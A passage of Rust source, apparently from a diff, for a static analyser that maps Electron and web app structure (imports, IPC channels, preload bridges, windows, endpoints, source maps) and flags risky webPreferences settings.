+#[derive(Debug, Clone, Default, PartialEq, Eq, Serialize, Deserialize)] +pub struct SourceMapRef { + pub script: String, + pub url: String, + #[serde(default, skip_serializing_if = "Option::is_none")] + pub resolved: Option, + pub present: bool, + pub inline: bool, + #[serde(default)] + pub sources: Vec, + #[serde(default)] + pub sources_with_content: usize, +} + +#[derive(Debug, Clone, Default, PartialEq, Eq, Serialize, Deserialize)] +pub struct EntryPoints { + #[serde(default, skip_serializing_if = "Option::is_none")] + pub main: Option, + pub preloads: Vec, + pub renderers: Vec, + pub pages: Vec, + pub workers: Vec, +} + +/// The whole application graph. +#[derive(Debug, Clone, Default, PartialEq, Serialize, Deserialize)] +#[serde(default)] +pub struct AppGraph { + /// `ag_` + sha256 of the canonical nodes and edges. + pub graph_id: String, + pub label: String, + pub input_format: String, + /// `electron`, `web`, `node`, `unknown`. + pub app_kind: String, + pub package: Option, + pub entry_points: EntryPoints, + pub modules: Vec, + pub windows: Vec, + pub ipc: Vec, + pub exposed: Vec, + pub endpoints: Vec, + pub routes: Vec, + /// GraphQL operations and tRPC procedures, each row labelled inferred. + pub api_operations: Vec, + pub storage: Vec, + pub effects: Vec, + pub native_modules: Vec, + pub vendors: Vec, + pub source_maps: Vec, + pub bundlers: Vec, + pub nodes: Vec, + pub edges: Vec, + pub limitations: Vec<(String, String)>, + pub stats: Value, +} + +impl AppGraph { + pub fn node(&self, id: &str) -> Option<&Node> { + self.nodes.iter().find(|n| n.id == id) + } + + pub fn module(&self, path: &str) -> Option<&ModuleSummary> { + self.modules.iter().find(|m| m.path == path) + } +} + +/// The analysis was cancelled. +#[derive(Debug, Clone, Copy, PartialEq, Eq)] +pub struct Cancelled; + +// --------------------------------------------------------------------------------------------- +// Paths + +/// Directory part of a relative path ("" for top level). +pub fn dir_of(path: &str) -> &str { + path.rsplit_once('/').map_or("", |(d, _)| d) +} + +/// Join and normalise; `None` when the result would escape the root. +pub fn join_rel(base_dir: &str, rel: &str) -> Option { + let rel = rel.split(['?', '#']).next().unwrap_or(rel); + let mut parts: Vec<&str> = if rel.starts_with('/') { Vec::new() } else { base_dir.split('/').filter(|p| !p.is_empty()).collect() }; + for p in rel.split(['/', '\\']) { + match p { + "" | "." => {} + ".." => { + parts.pop()?; + } + other => parts.push(other), + } + } + Some(parts.join("/")) +} + +const SCRIPT_EXTS: &[&str] = &[".js", ".mjs", ".cjs", ".jsx", ".ts", ".tsx", ".mts", ".cts"]; + +pub fn is_script(path: &str) -> bool { + let l = path.to_ascii_lowercase(); + SCRIPT_EXTS.iter().any(|e| l.ends_with(e)) && !l.ends_with(".d.ts") +} + +fn is_html(path: &str) -> bool { + let l = path.to_ascii_lowercase(); + l.ends_with(".html") || l.ends_with(".htm") +} + +struct Resolver<'a> { + files: &'a BTreeSet, +} + +impl Resolver<'_> { + fn resolve(&self, from_dir: &str, spec: &str) -> Option { + if !(spec.starts_with('.') || spec.starts_with('/')) { + return None; + } + let base = join_rel(from_dir, spec)?; + let candidates = [ + base.clone(), + format!("{base}.js"), + format!("{base}.mjs"), + format!("{base}.cjs"), + format!("{base}.ts"), + format!("{base}.tsx"), + format!("{base}.jsx"), + format!("{base}.json"), + format!("{base}/index.js"), + format!("{base}/index.ts"), + format!("{base}/index.mjs"), + ]; + candidates.into_iter().find(|c| self.files.contains(c)) + } + + /// A path written in code (`preload.js`, `renderer/index.html`), tried from the module's + /// folder first and then from the app root. + fn resolve_path(&self, module_dir: &str, root: &str, p: &str) -> Option { + let p = p.trim_start_matches("file://"); + for base in [module_dir, root] { + if let Some(j) = join_rel(base, p) + && self.files.contains(&j) + { + return Some(j); + } + } + // Last resort: a unique file with that tail. + let tail = p.trim_start_matches("./").trim_start_matches('/'); + let hits: Vec<&String> = self.files.iter().filter(|f| f.ends_with(&format!("/{tail}")) || f.as_str() == tail).collect(); + if hits.len() == 1 { hits.first().map(|s| (*s).clone()) } else { None } + } +} + +// --------------------------------------------------------------------------------------------- +// Builder + +struct Builder { + nodes: Vec, + index: HashMap, + edges: BTreeSet, + max_nodes: usize, + dropped_nodes: usize, +} + +impl Builder { + fn node(&mut self, id: String, kind: &str, label: String, module: Option<&str>, line: Option, attrs: Value) -> Option { + if self.index.contains_key(&id) { + return Some(id); + } + if self.nodes.len() >= self.max_nodes { + self.dropped_nodes += 1; + return None; + } + self.index.insert(id.clone(), self.nodes.len()); + self.nodes.push(Node { id: id.clone(), kind: kind.into(), label, module: module.map(String::from), line, role: None, attrs }); + Some(id) + } + + fn edge(&mut self, from: Option<&str>, to: Option<&str>, kind: &str) { + if let (Some(f), Some(t)) = (from, to) + && f != t + && self.edges.len() < self.max_nodes.saturating_mul(4) + { + self.edges.insert(Edge { from: f.into(), to: t.into(), kind: kind.into() }); + } + } +} + +fn module_id(path: &str) -> String { + format!("module:{path}") +} + +fn fn_id(module: &str, name: &str, line: u32) -> String { + format!("fn:{module}#{name}@{line}") +} + +struct Analysed { + path: String, + facts: ModuleFacts, + bundle: js::BundleInfo, + html: Option, + /// For inline HTML scripts: the page they came from. + host: Option, + /// For inline HTML scripts: the hash of their code (they have no file of their own, #236). + code_sha256: Option, +} + +/// Build the application graph. +pub fn analyze_application(input: &AppInput, opts: &AppOptions, cancelled: &dyn Fn() -> bool) -> Result { + let file_set: BTreeSet = input.files.iter().map(|f| f.path.clone()).chain(input.listing.iter().map(|(p, _)| p.clone())).collect(); + let resolver = Resolver { files: &file_set }; + let mut g = AppGraph { label: input.label.clone(), input_format: input.format.clone(), ..Default::default() }; + for n in &input.notes { + g.limitations.push(("input".into(), n.clone())); + } + + // ---- package.json (the shallowest one outside node_modules) ---- + let mut vendor_pkgs: Vec = Vec::new(); + let mut pkg_root = String::new(); + let mut pkgs: Vec<&AppFile> = + input.files.iter().filter(|f| f.path.ends_with("package.json") && (f.path == "package.json" || f.path.ends_with("/package.json"))).collect(); + pkgs.sort_by_key(|f| (f.path.contains("node_modules/"), f.path.matches('/').count())); + for f in &pkgs { + let Ok(v) = serde_json::from_slice::(&f.bytes) else { continue }; + if f.path.contains("node_modules/") { + if vendor_pkgs.len() < 5000 { + vendor_pkgs.push(json!({"name": v.get("name"), "version": v.get("version"), "source": "package-json", "path": f.path})); + } + } else if g.package.is_none() { + pkg_root = dir_of(&f.path).to_string(); + g.package = Some(json!({ + "path": f.path, + "name": v.get("name"), + "product_name": v.get("productName"), + "version": v.get("version"), + "main": v.get("main"), + "type": v.get("type"), + "dependencies": v.get("dependencies"), + "dev_dependencies": v.get("devDependencies"), + "electron_dependency": v.pointer("/devDependencies/electron").or_else(|| v.pointer("/dependencies/electron")), + })); + } + } + + // ---- analyse every source ---- + let mut analysed: Vec = Vec::new(); + for (i, f) in input.files.iter().enumerate() { + if i % 8 == 0 && cancelled() { + return Err(Cancelled); + } + if f.path.contains("node_modules/") { + continue; + } + if is_script(&f.path) { + let text = String::from_utf8_lossy(&f.bytes); + let a = js::analyze(&f.path, &text, &opts.limits); + analysed.push(Analysed { path: f.path.clone(), facts: a.facts, bundle: a.bundle, html: None, host: None, code_sha256: None }); + } else if is_html(&f.path) { + let text = String::from_utf8_lossy(&f.bytes); + let h = scan_html(&text); + for (n, s) in h.scripts.iter().enumerate() { + if let Some((a, z)) = s.inline { + let code = craft_anything_js::util::slice(&text, a, z); + let name = format!("{}#inline-{n}", f.path); + let an = js::analyze(&name, code, &opts.limits); + let code_sha256 = Some(sha256_hex(code.as_bytes())); + analysed.push(Analysed { path: name, facts: an.facts, bundle: an.bundle, html: None, host: Some(f.path.clone()), code_sha256 }); + } + } + analysed.push(Analysed { + path: f.path.clone(), + facts: ModuleFacts::default(), + bundle: js::BundleInfo::default(), + html: Some(h), + host: None, + code_sha256: None, + }); + } + } + + let mut b = Builder { nodes: Vec::new(), index: HashMap::new(), edges: BTreeSet::new(), max_nodes: opts.max_nodes.max(16), dropped_nodes: 0 }; + let pkg_node = g.package.as_ref().map(|p| { + let name = p.get("name").and_then(Value::as_str).unwrap_or("package").to_string(); + b.node(format!("package:{name}"), "package", name, p.get("path").and_then(Value::as_str), None, json!({"version": p.get("version")})) + }); + let pkg_node = pkg_node.flatten(); + + // Module nodes first (so they survive a node cap). + for a in &analysed { + let kind = if a.html.is_some() { "html" } else { "module" }; + let id = b.node(module_id(&a.path), kind, a.path.clone(), Some(&a.path), None, Value::Null); + b.edge(pkg_node.as_deref(), id.as_deref(), "contains"); + } + + // ---- entry points and roles ---- + let main = g + .package + .as_ref() + .and_then(|p| p.get("main").and_then(Value::as_str)) + .and_then(|m| resolver.resolve(&pkg_root, &if m.starts_with('.') { m.to_string() } else { format!("./{m}") })) + .or_else(|| { + ["main.js", "index.js", "main.cjs", "dist/main.js", "dist/main/index.js"] + .iter() + .map(|c| join_rel(&pkg_root, c).unwrap_or_default()) + .find(|c| file_set.contains(c)) + }); + let mut roles: HashMap = HashMap::new(); + let by_path: HashMap<&str, &Analysed> = analysed.iter().map(|a| (a.path.as_str(), a)).collect(); + + // Resolve imports once. + let mut resolved_imports: HashMap> = HashMap::new(); + for a in &analysed { + let dir = dir_of(a.host.as_deref().unwrap_or(&a.path)).to_string(); + let mut v = Vec::new(); + for imp in a.facts.imports.iter().take(2000) { + let resolved = if imp.literal { resolver.resolve(&dir, &imp.specifier) } else { None }; + v.push(ResolvedImport { kind: imp.kind.clone(), specifier: imp.specifier.clone(), resolved, line: imp.line }); + } + if let Some(h) = &a.html { + for s in &h.scripts { + if let Some(src) = &s.src + && !src.contains("://") + { + let r = join_rel(&dir, src).filter(|p| file_set.contains(p)).or_else(|| resolver.resolve_path(&dir, &pkg_root, src)); + v.push(ResolvedImport { kind: "html-script".into(), specifier: src.clone(), resolved: r, line: s.line }); + } + } + for p in &h.preloads { + let r = join_rel(&dir, p).filter(|x| file_set.contains(x)); + v.push(ResolvedImport { kind: "modulepreload".into(), specifier: p.clone(), resolved: r, line: 0 }); + } + } + resolved_imports.insert(a.path.clone(), v); + } + + // Windows: preload and loaded pages. + let mut preloads = Vec::new(); + let mut renderer_roots = Vec::new(); + for a in &analysed { + let dir = dir_of(&a.path).to_string(); + for w in &a.facts.windows { + if let Some(p) = &w.preload + && let Some(r) = resolver.resolve_path(&dir, &pkg_root, p) + { + preloads.push(r); + } + } + for l in &a.facts.loads { + if let Some(t) = &l.target + && !t.starts_with("http") + && let Some(r) = resolver.resolve_path(&dir, &pkg_root, t) + { + renderer_roots.push(r); + } + } + } + let has_electron = analysed.iter().any(|a| a.facts.imports.iter().any(|i| i.specifier == "electron" || i.specifier.starts_with("electron/"))) + || g.package.as_ref().is_some_and(|p| !p.get("electron_dependency").unwrap_or(&Value::Null).is_null()); + let pages: Vec = if has_electron { Vec::new() } else { analysed.iter().filter(|a| a.html.is_some()).map(|a| a.path.clone()).collect() }; + + let assign = |roots: &[String], role: &str, roles: &mut HashMap| { + let mut q: VecDeque = roots.iter().cloned().collect(); + let mut seen = 0usize; + while let Some(p) = q.pop_front() { + seen += 1; + if seen > 100_000 || roles.contains_key(&p) { + continue; + } + roles.insert(p.clone(), role.to_string()); + for imp in resolved_imports.get(&p).into_iter().flatten() { + if let Some(r) = &imp.resolved { + q.push_back(r.clone()); + } + } + // Inline scripts of a page share its role. + for a in analysed.iter().filter(|a| a.host.as_deref() == Some(p.as_str())) { + q.push_back(a.path.clone()); + } + } + }; + if let Some(m) = &main { + assign(std::slice::from_ref(m), if has_electron { "main" } else { "package" }, &mut roles); + } + assign(&preloads, "preload", &mut roles); + assign(&renderer_roots, "renderer", &mut roles); + assign(&pages, "page", &mut roles); + let mut workers = Vec::new(); + for a in &analysed { + for imp in resolved_imports.get(&a.path).into_iter().flatten() { + if matches!(imp.kind.as_str(), "worker" | "service-worker" | "utility-process") + && let Some(r) = &imp.resolved + { + workers.push(r.clone()); + } + } + } + assign(&workers, "worker", &mut roles); + g.entry_points = EntryPoints { + main: main.clone(), + preloads: dedup(preloads.clone()), + renderers: dedup(renderer_roots.clone()), + pages: pages.clone(), + workers: dedup(workers), + }; + g.app_kind = if has_electron { + "electron" + } else if !pages.is_empty() { + "web" + } else if g.package.is_some() { + "node" + } else { + "unknown" + } + .into(); + let role_of = |p: &str| roles.get(p).cloned().unwrap_or_else(|| "unknown".into()); + + // ---- per-module facts into the graph ---- + let mut channels: BTreeMap = BTreeMap::new(); + let mut exposed_keys: Vec = Vec::new(); + let mut bundlers: BTreeSet = BTreeSet::new(); + let mut dynamic_channels = 0usize; + // Calls like `window.api.invoke("channel")` only count when `api` is an exposed bridge key. + let bridge_keys: BTreeSet = analysed.iter().flat_map(|a| a.facts.exposed.iter().filter_map(|e| e.key.clone())).collect(); + for a in &analysed { + if cancelled() { + return Err(Cancelled); + } + let m = a.path.as_str(); + let mid = module_id(m); + let role = role_of(m); + let f = &a.facts; + // Imports. + for imp in resolved_imports.get(m).into_iter().flatten() { + let to = match &imp.resolved { + Some(r) => Some(module_id(r)), + None if !imp.specifier.starts_with('.') && !imp.specifier.starts_with('/') && !imp.specifier.contains('{') => { + let pkg = package_name(&imp.specifier); + b.node(format!("external:{pkg}"), "external", pkg.clone(), None, None, Value::Null) + } + None => None, + }; + b.edge(Some(&mid), to.as_deref(), &imp.kind); + } + // Functions (named ones, plus any that matter for tracing). + let interesting: BTreeSet<&str> = f + .ipc + .iter() + .filter_map(|u| u.function.as_deref().or(u.handler.as_deref())) + .chain(f.effects.iter().filter_map(|u| u.function.as_deref())) + .chain(f.endpoints.iter().filter_map(|u| u.function.as_deref())) + .chain(f.storage.iter().filter_map(|u| u.function.as_deref())) + .chain(f.events.iter().filter_map(|u| u.handler.as_deref())) + .collect(); + let mut fn_ids: HashMap<&str, String> = HashMap::new(); + for func in &f.functions { + let anonymous = func.name.starts_with("| -> String { name.and_then(|n| fn_ids.get(n).cloned()).unwrap_or_else(|| mid.clone()) }; + // Calls within the module. + for func in &f.functions { + let Some(from) = fn_ids.get(func.name.as_str()).cloned() else { continue }; + for c in &func.calls { + let last = c.rsplit('.').next().unwrap_or(c); + let target = fn_ids.get(c.as_str()).or_else(|| fn_ids.get(last).filter(|_| !c.contains('.'))); + if let Some(t) = target.cloned() { + b.edge(Some(&from), Some(&t), "calls"); + } + } + } + // IPC. + for u in &f.ipc { + if u.side == "bridge" && !u.method.split('.').next().is_some_and(|root| bridge_keys.contains(root)) { + continue; + } + let Some(ch) = u.channel.as_ref().filter(|c| !c.is_empty()) else { + dynamic_channels += 1; + continue; + }; + let entry = channels.entry(ch.clone()).or_insert_with(|| IpcChannel { channel: ch.clone(), ..Default::default() }); + let site = Site { module: m.into(), line: u.line, method: u.method.clone(), function: u.function.clone() }; + let cid = b.node(format!("ipc:{ch}"), "ipc-channel", ch.clone(), None, None, Value::Null); + let caller = fnode(u.function.as_deref()); + match (u.side.as_str(), u.method.as_str()) { + ("main", "handle" | "handleOnce") => { + entry.handlers.push(site); + let h = u.handler.as_deref().map(|h| fnode(Some(h))); + b.edge(cid.as_deref(), h.as_deref(), "handled-by"); + } + ("main", "on" | "once" | "addListener") => { + entry.main_listeners.push(site); + let h = u.handler.as_deref().map(|h| fnode(Some(h))); + b.edge(cid.as_deref(), h.as_deref(), "handled-by"); + } + ("main", _) => {} + ("renderer", "invoke" | "sendSync") | ("bridge", _) => { + entry.invokers.push(site); + b.edge(Some(&caller), cid.as_deref(), "invokes"); + } + ("renderer", "send" | "sendTo" | "sendToHost" | "postMessage") => { + entry.senders.push(site); + b.edge(Some(&caller), cid.as_deref(), "sends"); + } + ("renderer", "on" | "once" | "addListener") => { + entry.renderer_handlers.push(site); + let h = u.handler.as_deref().map(|h| fnode(Some(h))); + b.edge(cid.as_deref(), h.as_deref(), "delivers-to"); + } + ("web-contents", _) => { + entry.main_senders.push(site); + b.edge(Some(&caller), cid.as_deref(), "sends"); + } + _ => {} + } + } + // Bridge exposure. + for e in &f.exposed { + let key = e.key.clone().unwrap_or_else(|| "?".into()); + let api = b.node(format!("api:{key}"), "exposed-api", format!("window.{key}"), Some(m), Some(e.line), json!({"method": e.method})); + b.edge(Some(&mid), api.as_deref(), "exposes"); + let mut members = Vec::new(); + for mem in &e.members { + let mid2 = + b.node(format!("member:{key}.{}", mem.name), "exposed-member", format!("window.{key}.{}", mem.name), Some(m), Some(e.line), Value::Null); + b.edge(api.as_deref(), mid2.as_deref(), "has-member"); + if let Some(func) = &mem.function { + let t = fn_ids.get(func.as_str()).cloned(); + b.edge(mid2.as_deref(), t.as_deref(), "implemented-by"); + } + members.push((mem.name.clone(), mem.function.clone())); + } + exposed_keys.push((m.to_string(), key, members)); + } + // Windows. + for (wi, w) in f.windows.iter().enumerate() { + let preload = w.preload.as_deref().and_then(|p| resolver.resolve_path(dir_of(m), &pkg_root, p)); + let findings = window_findings(&w.web_preferences, preload.is_some()); + let wid = b.node( + format!("window:{m}@{}", w.line), + "window", + w.binding.clone().unwrap_or_else(|| format!("{} #{wi}", w.class)), + Some(m), + Some(w.line), + json!({"class": w.class, "web_preferences": w.web_preferences, "preload": preload, "findings": findings}), + ); + b.edge(Some(&fnode(w.function.as_deref())), wid.as_deref(), "creates"); + b.edge(wid.as_deref(), preload.as_deref().map(module_id).as_deref(), "preload"); + let loads: Vec = + f.loads.iter().filter(|l| l.receiver.is_none() || l.receiver == w.binding || f.windows.len() == 1).filter_map(|l| l.target.clone()).collect(); + let mut resolved_loads = Vec::new(); + for t in &loads { + if let Some(r) = resolver.resolve_path(dir_of(m), &pkg_root, t) { + b.edge(wid.as_deref(), Some(&module_id(&r)), "loads"); + resolved_loads.push(r); + } else { + let u = b.node(format!("url:{t}"), "url", t.clone(), None, None, Value::Null); + b.edge(wid.as_deref(), u.as_deref(), "loads"); + resolved_loads.push(t.clone()); + } + } + g.windows.push(json!({ + "module": m, "line": w.line, "class": w.class, "binding": w.binding, "preload": preload, "preload_as_written": w.preload, + "web_preferences": w.web_preferences, "options_from": w.options_from, "loads": resolved_loads, "findings": findings, + })); + } + // Endpoints, routes, storage, effects, events, native modules. + for e in &f.endpoints { + let label = match &e.method { + Some(mm) => format!("{mm} {}", e.url), + None => e.url.clone(), + }; + let eid = b.node(format!("endpoint:{label}"), "endpoint", label.clone(), None, None, json!({"api": e.api, "literal": e.literal})); + b.edge(Some(&fnode(e.function.as_deref())), eid.as_deref(), if e.api == "literal" { "mentions" } else { "requests" }); + if g.endpoints.len() < 10_000 { + g.endpoints.push(json!({"url": e.url, "method": e.method, "api": e.api, "literal": e.literal, "module": m, "line": e.line, "function": e.function, "role": role})); + } + } + for r in &f.routes { + let rid = b.node(format!("route:{}", r.path), "route", r.path.clone(), Some(m), Some(r.line), json!({"source": r.source, "method": r.method})); + b.edge(Some(&mid), rid.as_deref(), "declares-route"); + if g.routes.len() < 10_000 { + g.routes.push(json!({"path": r.path, "source": r.source, "method": r.method, "module": m, "line": r.line})); + } + } + for o in &f.api_operations { + if g.api_operations.len() < 10_000 { + g.api_operations.push(json!({"protocol": o.protocol, "kind": o.kind, "name": o.name, "url": o.url, "literal": o.literal, "source": o.source, "confidence": "inferred", "module": m, "line": o.line, "function": o.function, "role": role})); + } + } + for (list, kind, out) in [(&f.storage, "storage", &mut g.storage), (&f.effects, "effect", &mut g.effects)] { + for u in list { + let label = match &u.arg { + Some(a) if kind == "storage" => format!("{} {a}", u.api), + _ => u.api.clone(), + }; + let nid = b.node(format!("{kind}:{label}"), kind, label, None, None, Value::Null); + b.edge(Some(&fnode(u.function.as_deref())), nid.as_deref(), "uses"); + if out.len() < 10_000 { + out.push(json!({"api": u.api, "arg": u.arg, "module": m, "line": u.line, "function": u.function, "role": role})); + } + } + } + for e in &f.events { + let label = format!("{}:{}", e.target, e.event); + let ev = b.node(format!("event:{m}#{label}"), "event", label, Some(m), Some(e.line), Value::Null); + b.edge(Some(&fnode(e.function.as_deref())), ev.as_deref(), "listens"); + if let Some(h) = &e.handler { + let t = fn_ids.get(h.as_str()).cloned(); + b.edge(ev.as_deref(), t.as_deref(), "handled-by"); + } + } + for n in &f.native_modules { + let nid = b.node(format!("native:{n}"), "native-module", n.clone(), None, None, Value::Null); + b.edge(Some(&mid), nid.as_deref(), "loads-native"); + g.native_modules.push(json!({"name": n, "module": m})); + } + for v in &f.vendors { + g.vendors.push(json!({"name": v.name, "version": v.version, "source": v.source, "module": m})); + } + // Bundles. + for bn in &a.bundle.bundlers { + bundlers.insert(bn.clone()); + } + let mut bundle_modules = Vec::new(); + for bm in &a.bundle.modules { + let bid = b.node( + format!("bundle-module:{m}#{}", bm.id), + "bundle-module", + bm.id.clone(), + Some(m), + Some(bm.line), + json!({"format": bm.format, "sha256": bm.sha256}), + ); + b.edge(Some(&mid), bid.as_deref(), "bundles"); + let inside: Vec<&js::FunctionFact> = f.functions.iter().filter(|x| x.start >= bm.start && x.end <= bm.end).collect(); + for x in &inside { + if let Some(fid) = fn_ids.get(x.name.as_str()) { + b.edge(bid.as_deref(), Some(fid), "defines"); + } + } + let mut strings: Vec = Vec::new(); + for x in &inside { + for s in &x.strings { + if strings.len() < 200 && !strings.contains(s) { + strings.push(s.clone()); + } + } + } + bundle_modules.push(BundleModuleSummary { + id: bm.id.clone(), + format: bm.format.clone(), + sha256: bm.sha256.clone(), + fingerprint: bm.fingerprint.clone(), + deps: bm.deps.clone(), + line: bm.line, + start: bm.start, + end: bm.end, + strings, + functions: inside.iter().filter(|x| !x.name.starts_with('<')).map(|x| x.name.clone()).take(200).collect(), + }); + } + for bm in &a.bundle.modules { + for d in &bm.deps { + b.edge(Some(&format!("bundle-module:{m}#{}", bm.id)), Some(&format!("bundle-module:{m}#{d}")), "requires"); + } + } + // Module summary. + let bytes_len = input.files.iter().find(|x| x.path == a.path).map_or(f.bytes as u64, |x| x.bytes.len() as u64); + let sha = input.files.iter().find(|x| x.path == a.path).map(|x| sha256_hex(&x.bytes)).or_else(|| a.code_sha256.clone()).unwrap_or_default(); + g.modules.push(ModuleSummary { + path: a.path.clone(), + role, + kind: if a.html.is_some() { "html".into() } else { "script".into() }, + bytes: bytes_len, + sha256: sha, + fingerprint: f.fingerprint.clone(), + parse_mode: a.html.is_none().then_some(f.mode), + parse_note: f.mode_reason.clone(), + imports: resolved_imports.get(m).cloned().unwrap_or_default(), + exports: f.exports.clone(), + bundlers: a.bundle.bundlers.clone(), + chunk_ids: a.bundle.chunk_ids.clone(), + bundle_modules, + source_map: f.source_map_url.clone(), + functions: f.functions.iter().filter(|x| !x.name.starts_with('<') && !x.name.contains(" callback@")).map(|x| x.name.clone()).take(500).collect(), + strings: f.strings.iter().take(300).cloned().collect(), + }); + } + + // Renderer calls into the bridge: `api.exportNotes(...)` → member node. + for a in &analysed { + let m = a.path.as_str(); + for func in &a.facts.functions { + let from = fn_id(m, &func.name, func.line); + if !b.index.contains_key(&from) { + continue; + } + for c in &func.calls { + for (pm, key, members) in &exposed_keys { + if pm == m { + continue; + } + if let Some(rest) = c.strip_prefix(&format!("{key}.")) { + let name = rest.split('.').next().unwrap_or(rest); + if members.iter().any(|(n, _)| n == name) { + b.edge(Some(&from), Some(&format!("member:{key}.{name}")), "calls-bridge"); + } + } + } + } + } + } + // Pair channels and attach bridge members. + for (pm, key, members) in &exposed_keys { + let Some(a) = by_path.get(pm.as_str()) else { continue }; + for (name, func) in members { + let Some(func) = func else { continue }; + for u in a.facts.ipc.iter().filter(|u| u.function.as_deref() == Some(func.as_str())) { + if let Some(ch) = &u.channel + && let Some(c) = channels.get_mut(ch) + { + let label = format!("window.{key}.{name}"); + if !c.bridge_members.contains(&label) { + c.bridge_members.push(label); + } + } + } + } + g.exposed.push(json!({ + "module": pm, "key": key, + "members": members.iter().map(|(n, f)| json!({"name": n, "function": f})).collect::>(), + })); + } + for c in channels.values_mut() { + let renderer_side = !c.invokers.is_empty() || !c.senders.is_empty() || !c.renderer_handlers.is_empty(); + let main_side = !c.handlers.is_empty() || !c.main_listeners.is_empty() || !c.main_senders.is_empty(); + c.paired = renderer_side && main_side; + } + g.ipc = channels.into_values().collect(); + if dynamic_channels > 0 { + g.limitations.push(( + "dynamic_ipc_channels".into(), + format!("{dynamic_channels} IPC call(s) use a channel name computed at run time; they are not in the channel map."), + )); + } + + // HTML pages → scripts. + for a in analysed.iter().filter(|a| a.html.is_some()) { + for imp in resolved_imports.get(&a.path).into_iter().flatten() { + if let Some(r) = &imp.resolved { + b.edge(Some(&module_id(&a.path)), Some(&module_id(r)), &imp.kind); + } + } + if let Some(h) = &a.html + && let Some(csp) = &h.csp + && let Some(n) = b.index.get(&module_id(&a.path)).copied().and_then(|i| b.nodes.get_mut(i)) + { + n.attrs = json!({"csp": csp, "title": h.title}); + } + } + + // Source maps. + for a in &analysed { + let Some(url) = &a.facts.source_map_url else { continue }; + let mut r = SourceMapRef { script: a.path.clone(), url: url.chars().take(256).collect(), ..Default::default() }; + let map_bytes: Option> = if url.starts_with("data:") { + r.inline = true; + craft_anything_formats::sourcemap::decode_data_url(url) + } else { + let p = join_rel(dir_of(&a.path), url); + r.resolved = p.clone(); + p.and_then(|p| input.files.iter().find(|f| f.path == p).map(|f| f.bytes.clone())) + }; + if let Some(bytes) = map_bytes { + r.present = true; + if let Ok(map) = craft_anything_formats::sourcemap::parse(&bytes, craft_anything_formats::sourcemap::Limits::default()) { + r.sources = map.all_sources().into_iter().take(5000).collect(); + r.sources_with_content = map.sources_content.iter().filter(|c| c.is_some()).count(); + } + if let Some(res) = &r.resolved { + let to = b.node(module_id(res), "source-map", res.clone(), Some(res), None, Value::Null); + b.edge(Some(&module_id(&a.path)), to.as_deref(), "source-map"); + } + } else { + r.present = file_set.contains(r.resolved.as_deref().unwrap_or("")); + } + g.source_maps.push(r); + } + // Stand-alone .map files without a comment pointing at them. + for (p, _) in &input.listing { + if p.ends_with(".map") && !p.contains("node_modules/") && !g.source_maps.iter().any(|s| s.resolved.as_deref() == Some(p.as_str())) { + g.source_maps.push(SourceMapRef { + script: p.trim_end_matches(".map").to_string(), + url: String::new(), + resolved: Some(p.clone()), + present: true, + ..Default::default() + }); + } + } + // Native binaries present in the listing. + for (p, _) in &input.listing { + if p.ends_with(".node") && !g.native_modules.iter().any(|n| n.get("file").and_then(Value::as_str) == Some(p.as_str())) { + b.node(format!("native:{p}"), "native-module", p.clone(), Some(p), None, json!({"present": true})); + g.native_modules.push(json!({"name": p.rsplit('/').next().unwrap_or(p), "file": p})); + } + } + g.vendors.extend(vendor_pkgs); + g.bundlers = bundlers.into_iter().collect(); + if b.dropped_nodes > 0 { + g.limitations + .push(("node_cap".into(), format!("{} graph nodes were dropped at the {}-node cap; raise max_nodes to keep them.", b.dropped_nodes, b.max_nodes))); + } + let lexed = g.modules.iter().filter(|m| m.parse_mode == Some(js::ParseMode::Lexer)).count(); + if lexed > 0 { + g.limitations.push(( + "lexer_fallback".into(), + format!( + "{lexed} source(s) were too large, too deep or too broken to parse; their facts come from a token scan (no functions, windows or aliases)." + ), + )); + } + for n in &mut b.nodes { + if let Some(m) = &n.module { + let host = m.split("#inline-").next().unwrap_or(m); + n.role = Some(role_of(host)); + } + } + if !g.api_operations.is_empty() { + g.limitations.push(( + "api_operations_inferred".into(), + "GraphQL operations and tRPC procedures are inferred from how the code is written, and nothing was run. A row with literal false depends on text only known at run time; documents built up by joining strings, and clients whose names were minified away, may be missing.".into(), + )); + } + g.nodes = b.nodes; + g.edges = b.edges.into_iter().collect(); + g.stats = json!({ + "files": input.files.len(), + "listed": input.listing.len(), + "modules": g.modules.len(), + "nodes": g.nodes.len(), + "edges": g.edges.len(), + "functions": g.nodes.iter().filter(|n| n.kind == "function").count(), + "ipc_channels": g.ipc.len(), + "paired_channels": g.ipc.iter().filter(|c| c.paired).count(), + "endpoints": g.endpoints.len(), + "api_operations": g.api_operations.len(), + "bundle_modules": g.modules.iter().map(|m| m.bundle_modules.len()).sum::(), + }); + g.graph_id = graph_id(&g.nodes, &g.edges); + Ok(g) +} + +/// (preload module, bridge key, members as (name, implementing function)). +type ExposedKey = (String, String, Vec<(String, Option)>); + +fn dedup(mut v: Vec) -> Vec { + let mut seen = BTreeSet::new(); + v.retain(|x| seen.insert(x.clone())); + v +} + +/// `@scope/pkg/sub` → `@scope/pkg`; `pkg/sub` → `pkg`; `node:fs` → `fs`. +pub fn package_name(spec: &str) -> String { + let s = spec.strip_prefix("node:").unwrap_or(spec); + let mut parts = s.split('/'); + match (parts.next(), parts.next()) { + (Some(scope), Some(name)) if scope.starts_with('@') => format!("{scope}/{name}"), + (Some(first), _) => first.to_string(), + _ => s.to_string(), + } +} + +/// Security-relevant observations about a window's webPreferences (Electron 20+ defaults: +/// contextIsolation on, nodeIntegration off, sandbox on). +fn window_findings(p: &BTreeMap, has_preload: bool) -> Vec { + let mut out = Vec::new(); + let get = |k: &str| p.get(k); + if get("contextIsolation") == Some(&PrefValue::Bool(false)) { + out.push("contextIsolation is turned off: page scripts share the preload's JavaScript world".to_string()); + } + if get("nodeIntegration") == Some(&PrefValue::Bool(true)) { + out.push("nodeIntegration is on: page scripts can use Node.js directly".to_string()); + } + if get("sandbox") == Some(&PrefValue::Bool(false)) { + out.push("sandbox is turned off for this renderer".to_string()); + } + if get("webSecurity") == Some(&PrefValue::Bool(false)) { + out.push("webSecurity is off: same-origin checks are disabled".to_string()); + } + if get("allowRunningInsecureContent") == Some(&PrefValue::Bool(true)) { + out.push("allowRunningInsecureContent is on".to_string()); + } + if get("webviewTag") == Some(&PrefValue::Bool(true)) { + out.push("the tag is enabled".to_string()); + } + if get("webPreferences") == Some(&PrefValue::Text("dynamic".into())) { + out.push("webPreferences are computed at run time; their values could not be read statically".to_string()); + return out; + } + for k in ["contextIsolation", "nodeIntegration", "sandbox"] { + if !p.contains_key(k) { + out.push(format!("{k} is not set; the Electron version's default applies")); + } + } + if !has_preload && p.contains_key("preload") { + out.push("the 